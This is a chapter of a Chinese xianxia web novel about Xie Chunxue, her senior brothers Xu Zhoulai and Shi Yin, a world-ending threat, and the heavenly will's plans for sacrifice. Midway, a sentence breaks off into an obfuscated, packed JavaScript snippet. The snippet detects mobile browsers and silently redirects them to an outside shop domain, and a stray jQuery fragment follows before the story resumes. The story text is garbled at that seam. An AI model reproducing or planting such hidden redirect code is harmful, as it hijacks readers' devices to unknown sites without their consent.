谢春雪拥抱他,瘦削伶仃,就像抱着一把枯骨。她强忍哽咽,“师兄,你怎么那么傻?”
徐舟来呆若木鸡,发颤的手半天才抬起来,虚虚环住她,“……师妹?”
他渐渐收紧,好似要把女子揉进骨血,再不分离。半晌后蓦然松开,怕将怀中人惊动,又化作抓不住的长风。
故人入我梦,明我长相忆。
“师妹。”徐舟来低低呜咽,委屈得像个孩子,“我找不到你。人间,仙界,幽冥,我全都去找过。你是不是生我的气了?所以才躲起来,不让我找到。没关系的,我会一直找下去。直到你原谅我。”
“……我是骗你的!”
谢春雪吞声饮泣,声音发抖,“我是骗你的,师兄。你怎么这么傻。死了就是死了,你去哪也找不到我的。我早就原谅你了啊,你什么时候才能原谅自己?”
泪水模糊视线,她泣道,“既已成仙而去,为何又入凡尘,魂归地府?就为了一句再明显不过的假话,赔上一生找一个没有来世的人?徐舟来,天上地下,再找不出你这样的傻子了!”
“师妹,不要哭。”青年藏起斑驳的手指,笨拙地用衣袖擦去她的眼泪,“你说,我就信。”
谢春雪恸哭失声。
其他人没了她,哭过痛过,还是会继续往前走。只有徐舟来永远留在那天。
她的来世穷尽了他的今生,但如果没有那虚无缥缈的来世,他又会抛下所有,生死相随。
天衍宗凌云尊者的首徒,人们交口称赞的明光尊者,最后悄无声息地死在荒宅,连尸首都无人收敛。
叫她如何释怀。
“别找了,师兄。”
谢春雪喃喃,“再信我一次吧。我们还会再次相逢,或许那时我们都已忘记此生,如此再好不过。成败皆系于欢宴。成则庆功,败作别席。”
飞霜不知何时出现在女子的手中,转瞬间贯穿了青年的心脏。
徐舟来茫然地跌入师妹的怀中,任由她接住自己。那双金色的眼眸温柔又悲伤。
“今日死,明日见。师兄,你不欠我什么了,我们两清了。”
不……
他不想。
素白的手合上他的双眼,未说出口的话连同神魂一道消散了。
鬼修徐舟来魂灭道消,漫长的苦旅画上句号。
谢春雪垂眸,望着自己的手。这双握剑的手杀人无数,但那些都是草菅人命的邪修。她堂堂正正地杀,无愧于心。
唯独对徐舟来,她问心有愧。
“死在你手里,便宜他了。”师隐在旁边说风凉话,“对了,他死于你手,轮回命线勾连,即使重来也会拥有记忆。”
谢春雪握拳,“……你故意的!”
他绝对知道自己想做什么,非等到现在才说!
“对,我故意的。”少年的嘴角带着似有若无的笑,“唯有失去过,才懂得珍惜。”
希望二师弟不要让他失望啊。
谢春雪当他又在发神经,“别闹了,快带我去找换日计划的幕后黑手。”
“把我当地图用?”师隐挑眉,但还是乖乖带着玉找人去了。
谢春雪瞪着眼前的人,只觉得自己就是个死人也要气活了。
青年雌雄莫辨,一双血红的眼再独特不过,分明是多年未见的赤莲。
“这个世界真是糟糕透顶。”他对旁边的黑袍人抱怨,意兴阑珊道,“她死了,谁也不配得到幸福。加快进程吧,所有人都该为她陪葬。”
系统绷不住了,“好一个为爱灭世,好一招天地同寿。你随手一捡就是反派大BOSS的一辈子。”
谢春雪:……
“我真得找空相好好谈谈孩子的教育问题了。”她翻了个白眼,“师隐,你知道这家伙说的ta是谁吗?”
等回去把姑娘或者小伙保护起来,省得这个恋爱脑整些要命的幺蛾子。
师隐闷笑,看着她不说话。
谢春雪等了半天,忽然反应过来,指着自己惊恐道,“我?!别开玩笑了,我不就是……”被邪修害死的。
等等。
邪修和魔修,不是一个阵营的。魔族的封印不能从内破开,那就是有人在外面帮助他们。
邪修,魔修,魔族,互相勾结?是了,怎么做到的呢?换日计划,夺舍……
进方焉秘境前,空相说的那个人魔混血……
谢春雪好像隐约察觉到一条线。
见她拧眉思索,师隐淡笑,“不用想了。灭世的原因是土灵珠被污染了。”
怎么又扯到土灵珠了?她不确定道,“永安城的那个土灵珠?”
“嗯哼。”少年漫不经心,“土灵珠是十方大陆的核心,沟通天地灵气循环。孤阴不生,孤阳不长。邪魔之气与灵正之气相克,当大陆上邪魔之气肆虐,土灵珠就会被污染,灵气灭,生灵绝。大陆沦为死地,沉没入海,世界崩塌。”
谢春雪走神了,“全都是海,那鲛人岂不是能活?”
师隐:……
“能别惦记那条鲛人了吗?”他有些无语,强调,“灵气灭,生灵绝。牵一发而动全身,世间万物没有哪个能够置身事外。”
她切回说正事的状态,“你是怎么知道的?”言外之意是包真吗?
“多看几遍就知道了。”师隐表情平淡,“我们一起探查过很多遍,事实就是这样。”
她点头,严肃道,“此局何解?”
少年却没有像之前那样马上回答,而是发了会儿呆。表情难看,好似想起了什么恶心的东西。
谢春雪在他眼前打了个清脆的响指,“回神。”
他这才慢吞吞道,“洞虚巅峰,且至纯至善之人,自愿以神魂和血肉为祭,就能净化被污染的灵珠。”
她又开始想念社会主义了,怎么还有人祭的事?
师隐自顾自地说下去,“这种献祭者一般是被天道特意选中的,他们有一个共同的称呼,叫天命之子。出生就会拥有超凡的天资,修炼之道顺风顺水。然后在某日得到天道感召,知晓自己的使命。”
谢春雪醍醐灌顶,“是你?”
“是我。”
师隐轻笑,“你知道我是哪天得知的吗?”谢春雪摇头,有种不好的预感。
他的笑容凝固在脸上,就像面具一样,眼神空荡。
“就在我们同登莲台那天。”
神采飞扬,踌躇满志的少年煞白了脸色,谢春雪牵上他冰凉的手,小声问,“师兄,你怎么了?”
他只是握紧她的手,没有说话。
“我的神魂好像被抽离了躯壳,就在上空俯视自己。欢呼声好吵闹,我要听不清你心跳的声音了。所有人都像是被设定好的傀儡,我们是舞台上唯一的活人。”
师隐的笑落了下来,“春雪,我听完只觉得荒谬可笑至极。好像自己成了话本上的小人,天道早已写好我的死局,而我今天才知道确凿无疑的死期。”
谢春雪看着他,安静倾听。
“然后就是不甘。”
他歪头,“如果我生来就是为了世界献身,那现在的不甘也是早就被设计好的一环吗?我到底是师隐,还是一具傀儡?”
为什么是他?他不想死,他想活下去,和师妹一起飞升仙界,同行千秋万载。
他迷茫,困惑,无头苍蝇似的陷入思维怪圈。所受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755667|207761||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的教育催着他欣然接受,但内心深处有个怪物在咆哮着拒绝。
他问周围人,其实是在向他们求助。就像一个挂在悬崖边摇摇欲坠的人,对每个行经此地的人展示自己的困境,可大家都说,放手就好了。换作他们,也会放手的。
他没有得到想要的答案,只能抱着微渺的希望继续问下去。
直到谢春雪将他从悬崖边拉了上来。
“我想通了。如果我拥有的一切是早有标价的筹码,那就扔掉好了。”
师隐拒绝了天道,他问,“如果这个世界非要一个人拯救才能存续,如此脆弱,还有存在的必要吗?”
少年在雷云下大笑,“天地不仁,以万物为刍狗。师隐亦不仁,以天地为刍狗!”
包含着天道意志的怒雷劈下,他依旧在笑,竖起中指,“把你给的狗骨头通通拿回去,爷不稀罕!”
闪电为刃,剥离剑骨。惊雷加身,经脉尽毁。
有人不顾生死,顶着天雷冲到他的身边,在污泥与血泊中与他相拥,任凭劫雷滚滚,金眸中的泪水如瓢泼大雨落下。
剑修天才师隐一夜间跌落神坛,沦为废人。
谢春雪抿着唇说不出话,长睫如蝶翼翕动。
“又心疼了?”师隐想摸她的头,只可惜面前是虚影,他摸了个空。若无其事地收回手,轻描淡写道,“都过去了。”
少年得意一笑,“剑骨挖得走,傲骨呢?悟道轮回,天道,你爷爷我又回来了。”
但他还是来晚了一步。
天道那狗贼竟把主意打到了谢春雪身上,局势危急,无计可施的情况下,她主动跃下悬崖。
他恨天道机关算尽,恨谢春雪义无反顾,恨其他人未曾阻拦。
其实最恨自己无能为力。
如果不是他,天道也不会注意到春雪,春雪也不会替他死去。
师隐深深叹息,“春雪,我修轮回道的锚点就是你。你生,我生。你死,我死。每次生死为一个轮回,纠缠生生世世,不过两个结局。共同迎接世界毁灭,或你慨然赴死。”
谢春雪琢磨了会儿,语出惊人,“岁岚是天道?”
暗戳戳表白的师隐:……
唉,师妹聪明,唉,师妹笨蛋。
“嗯。天道分出一缕意识,在人界幻化的分身。”他扶额,“知道你是个好心的笨蛋,每次都往你身边凑,水鬼拉人似的。”
谢春雪被这个形容说得一阵恶寒,“怪不得你要杀她。”
“我杀他已经杀出经验了。”师隐撇嘴,“最没边界感的朋友,最想上位的情人,一见钟情的疯狂追求者,现在连女儿都来了。得亏你给我留了杀手锏,不然我这次得阴沟翻船了。”
谢春雪:?
停停停宝子,你是不是说出了什么不得了的东西?
“很惊讶?天道化身没有固定性别。”他啧了一声,“当你师尊时得防着碰瓷的徒弟,当情人得防着其他情人,当知己得防着你那堆朋友,累死我了。”
谢春雪肃然起敬,“你杀这么多次还能好好站在这儿?天道拿你完全没办法?”
道外狂徒啊?
“轮回道跳出三界之外,不在五行之中。还有人帮忙遮蔽天机,我不主动出手,天道发现不了。”
原来如此,岁岚刚看到他时都没反应。这人主动上手她才露出异色。
谢春雪想起了,“她当时怎么就乖乖让你抱着?”
“我上手就掐着她逆鳞了。”他笑得杀气腾腾,“我一直在关注你,早看她不爽了。他就爱选龙当化身,记吃不记打。”
谢春雪点头,冷不丁地问,“当我的道侣和仇敌哪个更轻松?”